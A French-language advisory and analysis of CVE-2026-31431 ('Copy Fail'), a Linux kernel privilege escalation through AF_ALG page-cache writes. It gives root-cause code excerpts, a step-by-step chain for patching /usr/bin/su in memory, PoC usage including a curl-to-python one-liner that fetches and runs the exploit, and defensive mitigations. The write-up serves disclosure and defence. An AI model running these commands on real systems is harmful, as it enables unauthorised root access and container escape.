
Preuve de concept d'exploitation pour CVE-2026-31431, une élévation de privilèges locale du noyau Linux via l'écriture dans le cache de pages AF_ALG, permettant d'obtenir les droits root sur les principales distributions.
algif_aead (« Copy Fail »)
Auteur : Van Glenndon Enad
Découverte originale : Theori / Xint Code Research Team (Taeyang Lee)
Publié : 29 avril 2026
Sévérité : Élevée
Score CVSS v3.1 : 7,8
Vecteur CVSS v3.1 : CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
CWE : CWE-787 (Écriture hors limites), CWE-269 (Gestion inappropriée des privilèges)
La CVE-2026-31431, surnommée publiquement « Copy Fail », est une vulnérabilité d'élévation de privilèges locale (LPE) de sévérité élevée dans le module algif_aead du noyau Linux — l'interface de chiffrement AEAD de l'API cryptographique du noyau accessible depuis l'espace utilisateur (AF_ALG). Le défaut provient d'une optimisation de performance (opération « in-place ») introduite en 2017 via le commit 72548b093ee3, qui permettait par inadvertance de placer des pages de fichiers adossées au cache de pages dans la liste scatterlist de destination accessible en écriture lors d'une opération cryptographique AEAD.
En enchaînant trois sous-systèmes du noyau — les sockets AF_ALG, l'appel système splice() et le comportement d'écriture temporaire de l'algorithme authencesn — un utilisateur local non privilégié peut effectuer une écriture contrôlée de 4 octets dans le cache de pages de n'importe quel fichier lisible. En ciblant un binaire setuid tel que /usr/bin/su, cette écriture corrompt l'image exécutable en mémoire sans modifier le fichier sur disque, contournant ainsi les outils d'intégrité des fichiers sur disque. L'élévation de privilèges résultante vers root est déterministe — aucune condition de course, aucun décalage de noyau spécifique à une distribution et aucun privilège spécial ne sont requis. Un exploit PoC Python de 732 octets publié publiquement fournit des shells root sur Ubuntu, Amazon Linux, RHEL et SUSE en une seule exécution non modifiée.
La vulnérabilité est silencieusement présente dans toutes les distributions Linux grand public depuis près de neuf ans. Selon Theori, AF_ALG est activé dans la configuration de noyau par défaut de pratiquement toutes les distributions, ce qui signifie qu'aucun indicateur de compilation ou configuration spéciale n'est nécessaire pour qu'un système soit vulnérable.
Le noyau Linux expose des primitives cryptographiques à l'espace utilisateur via l'interface socket AF_ALG (crypto/algif_aead.c). En 2017, une optimisation de performance a été fusionnée, permettant à algif_aead d'effectuer des opérations AEAD en place — réutilisant le tampon mémoire source comme destination — afin d'éviter des copies de données inutiles.
Le défaut apparaît lorsque l'espace utilisateur alimente la socket AF_ALG via l'appel système splice(). Dans ce cas, les pages placées dans la liste scatterlist source sont des pages du cache de pages — une mémoire partagée gérée par le noyau qui soutient le fichier épissé. En raison de l'optimisation en place définissant req->src = req->dst, ces pages du cache de pages se retrouvent dans la liste scatterlist de destination accessible en écriture. L'algorithme authencesn effectue ensuite une écriture temporaire à dst[assoclen + cryptlen], qui se résout en un décalage dans ces pages du cache de pages — écrivant effectivement des données contrôlées par l'attaquant dans l'image mémoire du fichier épissé.
Parce que le cache de pages est partagé sur l'ensemble de l'hôte, y compris les conteneurs, une écriture depuis un processus affecte les pages mises en cache de ce fichier pour chaque processus et conteneur sur le même noyau.
Le changement fautif dans algif_aead.c définissait req->src = req->dst et enchaînait les pages d'étiquette de la liste scatterlist source dans la liste de sortie via sg_chain() :
/* Optimisation en place de 2017 — commit 72548b093ee3 */
req->src = req->dst; /* source == destination */
sg_chain(dst, n + 1, src_tag); /* pages d'étiquette enchaînées dans dst accessible en écriture */
Lorsque splice() est utilisé pour alimenter un fichier dans la socket, les pages de la liste scatterlist sont adossées au cache de pages, et non à une mémoire anonyme privée. Les enchaîner dans la liste dst accessible en écriture viole l'hypothèse selon laquelle la destination est une mémoire privée accessible en écriture.
authencesnLe modèle authencesn écrit une valeur temporaire de numéro de séquence (seqno_lo, octets 4 à 7 de l'AAD) à dst[assoclen + cryptlen]. Parce que dst contient désormais des pages du cache de pages du fichier épissé, cette écriture atterrit à un décalage contrôlé par l'attaquant dans l'image mémoire du fichier :
/* Écriture temporaire authencesn — décalage déterminé par assoclen + cryptlen */
scatterwalk_map_and_copy(seqno, dst,
req->assoclen + req->cryptlen,
sizeof(seqno), 1); /* écrit dans le cache de pages */
Les 4 octets écrits correspondent à seqno_lo, que l'attaquant contrôle via la charge utile AAD envoyée via sendmsg().
Socket AF_ALG (SOCK_SEQPACKET)
│
│ splice() — fournit des pages adossées à un fichier dans la socket
▼
Optimisation en place algif_aead
│ req->src = req->dst
│ les pages du cache de pages atterrissent dans la liste scatterlist accessible en écriture
▼
Écriture temporaire authencesn
│ écrit seqno_lo à dst[assoclen + cryptlen]
│ = 4 octets choisis par l'attaquant à un décalage de fichier choisi par l'attaquant
▼
Corruption du cache de pages (aucune modification sur disque)
La correction (a664bf3d603d) annule entièrement l'optimisation en place — algif_aead fonctionne désormais toujours hors place, allouant un tampon de destination séparé. Puisque la source et la destination proviennent désormais de mappages différents, les pages du cache de pages dans src ne peuvent jamais être atteintes par le chemin d'écriture de dst.
Notablement absents des prérequis : accès réseau, fonctionnalités de débogage du noyau, CAP_SYS_ADMIN, modules de noyau préchargés ou toute primitive préexistante. La surface d'attaque est entièrement locale et autonome.
Étape 1 : L'attaquant ouvre une socket AEAD AF_ALG (SOCK_SEQPACKET)
│ charge automatiquement le module algif_aead ; aucun root requis
▼
Étape 2 : L'attaquant ouvre le binaire setuid cible (par exemple /usr/bin/su) en lecture
│ seule la permission de lecture est requise
▼
Étape 3 : splice() transfère les pages du fichier cible dans la socket AF_ALG
│ les pages du cache de pages sont désormais dans la liste scatterlist source
▼
Étape 4 : L'optimisation en place se déclenche : req->src = req->dst
│ les pages du cache de pages entrent dans la liste scatterlist de destination accessible en écriture
▼
Étape 5 : Le chemin de déchiffrement authencesn effectue une écriture temporaire à dst[assoclen + cryptlen]
│ l'attaquant contrôle assoclen, cryptlen et la valeur seqno_lo de 4 octets
▼
Étape 6 : L'écrasement contrôlé de 4 octets atterrit dans le cache de pages de /usr/bin/su
│ le binaire en mémoire est corrigé ; le fichier sur disque est inchangé
▼
Étape 7 : L'attaquant exécute `su` — l'image mémoire corrompue s'exécute en tant que root
│ le bit setuid est préservé ; le noyau exécute le code corrigé par l'attaquant
▼
Étape 8 : Shell root obtenu — l'élévation de privilèges est terminée
Dans les environnements de conteneurs, l'étape 6 propage la corruption du cache de pages à l'hôte et à tous les conteneurs frères partageant le même noyau, permettant une évasion complète de conteneur.
Le PoC (copy_fail_exp.py, 732 octets) utilise uniquement les modules de la bibliothèque standard Python 3.10+ : os, socket et zlib. L'exploit construit et envoie une charge utile sendmsg() précisément conçue à la socket AF_ALG après avoir préparé les pages du fichier via splice().
/usr/bin/suLe PoC par défaut cible /usr/bin/su. L'écriture de 4 octets corrige une instruction spécifique dans la page mise en cache du binaire ELF — remplaçant une branche de vérification de privilège ou une vérification uid par un no-op ou un saut inconditionnel — de sorte que lorsque su est ensuite exécuté, l'environnement d'exécution setuid exécute le code corrigé en tant que root. La corruption est non persistante : une éviction de page ou un redémarrage restaure le binaire d'origine.
Contrairement aux attaques typiques sur le cache de pages (par exemple, Dirty COW), Copy Fail ne nécessite aucune condition de course. Le chemin d'écriture est linéaire : splice() → sendmsg() → écriture temporaire. Chaque appel est déterministe et synchrone, rendant l'exploit hautement fiable sur le matériel, les versions de noyau et les distributions.
Avertissement : Ce PoC est fourni uniquement à des fins éducatives, de recherche et de test autorisé. Ne l'utilisez pas contre un système que vous ne possédez pas ou pour lequel vous n'avez pas d'autorisation écrite explicite de test.
Le PoC canonique est maintenu par Theori dans le dépôt officiel. Il s'agit d'un script Python 3.10+ autonome de 732 octets sans dépendances externes.
Utilisation par défaut (cible /usr/bin/su) :
python3 copy_fail_exp.py
Cible setuid personnalisée :
python3 copy_fail_exp.py /usr/bin/sudo
En une ligne (depuis le site officiel) :
curl https://copy.fail/exp | python3 && su
# id
uid=0(root) gid=1002(user) groups=1002(user)
SHA256 du PoC canonique :
a567d09b15f6e4440e70c9f2aa8edec8ed59f53301952df05c719aa3911687f9
Le même script non modifié a été publiquement démontré obtenant des shells root sur Ubuntu 24.04 LTS, Amazon Linux 2023, RHEL 10.1 et SUSE 16 dans une seule session tmux.
Le vecteur d'impact le plus critique est les environnements multi-locataires : machines de développement partagées, nœuds de travail Kubernetes, exécuteurs auto-hébergés GitHub Actions, agents CI GitLab/Jenkins, plateformes d'hébergement de notebooks et environnements serverless où le code fourni par l'utilisateur s'exécute sous un compte utilisateur régulier. Tout environnement de ce type exécutant un noyau non corrigé est entièrement compromis par tout utilisateur capable d'exécuter du code.
Mettez à niveau le noyau vers une version contenant le commit de correction principal a664bf3d603dc3bdcf9ae47cc21e0daec706d7a5 :
Désactivez le module de noyau algif_aead pour bloquer le chemin d'attaque à sa source :
# Rendre le blocage persistant après les redémarrages
echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif.conf
# Décharger le module du noyau en cours d'exécution (s'il est chargé)
rmmod algif_aead
Ce que cela casse : Cela n'affecte pas dm-crypt/LUKS, kTLS, IPsec/XFRM, SSH ou les bibliothèques standard OpenSSL/GnuTLS/NSS. Cela peut affecter les applications de l'espace utilisateur qui utilisent explicitement le moteur OpenSSL
afalgou qui lient directement des socketsaead. Vérifiez aveclsof | grep AF_ALGavant d'appliquer.
AF_ALG via seccomp quel que soit l'état du correctif — ajoutez SOCK_SEQPACKET + AF_ALG à la liste de refus dans votre profil seccomp.AF_ALG.AF_ALG SOCK_SEQPACKET — c'est la première étape obligatoire de l'exploit.su/sudo combinées à l'utilisation de sockets AF_ALG comme signal comportemental.Avis de non-responsabilité légal : Cette analyse et cette preuve de concept sont publiées strictement à des fins éducatives, de recherche et de sécurité défensive. L'auteur ne cautionne pas l'accès non autorisé aux systèmes informatiques. Obtenez toujours une autorisation écrite explicite avant d'effectuer des tests de sécurité contre un système que vous ne possédez pas.
| Composant | Détails |
|---|
| Sous-système concerné | crypto/algif_aead.c — interface AEAD AF_ALG du noyau Linux |
| Vulnérabilité introduite | Noyau Linux 4.14 (2017), commit 72548b093ee38a6d4f2a19e6ef1948ae05c181f7 |
| Versions corrigées | 6.18.22, 6.19.12, 7.0 |
| Commit de correction | a664bf3d603dc3bdcf9ae47cc21e0daec706d7a5 |
| Distributions vérifiées | Ubuntu 24.04 LTS, Amazon Linux 2023, RHEL 10.1, SUSE 16 |
| Implicitement concernées | Debian, Arch, Fedora, Rocky, AlmaLinux, Oracle Linux et toute distribution exécutant un noyau non corrigé compilé depuis 2017 |
| Exigence | Notes |
|---|
| Compte utilisateur local non privilégié | Aucune permission élevée requise |
| Noyau compilé à partir de 2017 (≥ 4.14) | Couvre pratiquement toutes les distributions grand public |
AF_ALG (CONFIG_CRYPTO_USER_API) activé | Par défaut dans pratiquement toutes les configurations de noyau des distributions |
Module algif_aead chargeable/chargé | Chargé automatiquement à la première création de socket AF_ALG |
Au moins un binaire setuid lisible | Par exemple, /usr/bin/su, /usr/bin/sudo |
| Python 3.10+ (pour le PoC public) | Uniquement os, socket, zlib de la bibliothèque standard |
| Paramètre | Contrôle de l'attaquant | Mécanisme |
|---|
| Fichier cible | Tout fichier lisible par l'attaquant | Transmis à splice() |
| Décalage d'écriture | assoclen + cryptlen | Défini via les options de socket dans sendmsg() |
| Valeur d'écriture (4 octets) | seqno_lo | Octets 4 à 7 de la charge utile AAD dans sendmsg() |
| Catégorie | Description |
|---|
| Confidentialité | Accès en lecture complet à tous les fichiers de l'hôte en tant que root |
| Intégrité | Capacité d'écrire des fichiers arbitraires, d'installer des portes dérobées, de modifier /etc/passwd ou /etc/shadow |
| Disponibilité | Prise de contrôle complète de l'hôte ; interruption de service possible |
| Authentification | Aucun identifiant requis au-delà d'un compte utilisateur local |
| Évasion de conteneur | Le cache de pages est partagé sur l'hôte — un pod avec un shell local peut compromettre le nœud et franchir les limites des locataires |
| Pipeline CI/CD | Une demande de tirage non fiable exécutée sur un exécuteur auto-hébergé devient root sur l'hôte de l'exécuteur |
| Persistance | Post-exploitation : injection de clés SSH, tâches cron, installation de modules de noyau — tout est trivialement réalisable |
| Évitement forensique | Le binaire sur disque n'est jamais modifié ; les moniteurs d'intégrité de fichiers (FIM), AIDE, Tripwire ne voient aucun changement |
| Distribution | Version de noyau corrigée |
|---|
| Linux en amont | 6.18.22, 6.19.12, 7.0 |
| Ubuntu 24.04 LTS | Correctif du fournisseur disponible — apt update && apt upgrade |
| Amazon Linux 2023 | Correctif du fournisseur disponible — dnf update kernel |
| RHEL 10.1 | Correctif Red Hat en cours — AlmaLinux a publié le correctif en amont |
| SUSE 16 | Correctif du fournisseur disponible — zypper update kernel-default |
| Date | Événement |
|---|
| 2026-03-23 | Vulnérabilité signalée à l'équipe de sécurité du noyau Linux par Theori |
| 2026-03-24 | Accusé de réception initial reçu |
| 2026-03-25 | Correctif proposé et examiné par les mainteneurs du noyau |
| 2026-04-01 | Correctif validé dans la branche principale (a664bf3d603d) |
| 2026-04-22 | CVE-2026-31431 attribuée |
| 2026-04-29 | Divulgation publique sur copy.fail ; PoC publié sur GitHub |
| 2026-04-30 | AlmaLinux publie un noyau corrigé utilisant le correctif en amont |
| 2026-04-30 | Blog de sécurité Microsoft, Sophos, Sysdig, Bugcrowd publient des analyses |
| 2026-05-01 | PoC d'évasion de conteneur Kubernetes publié |
| 2026-05-02 | Analyse indépendante et documentation publiées |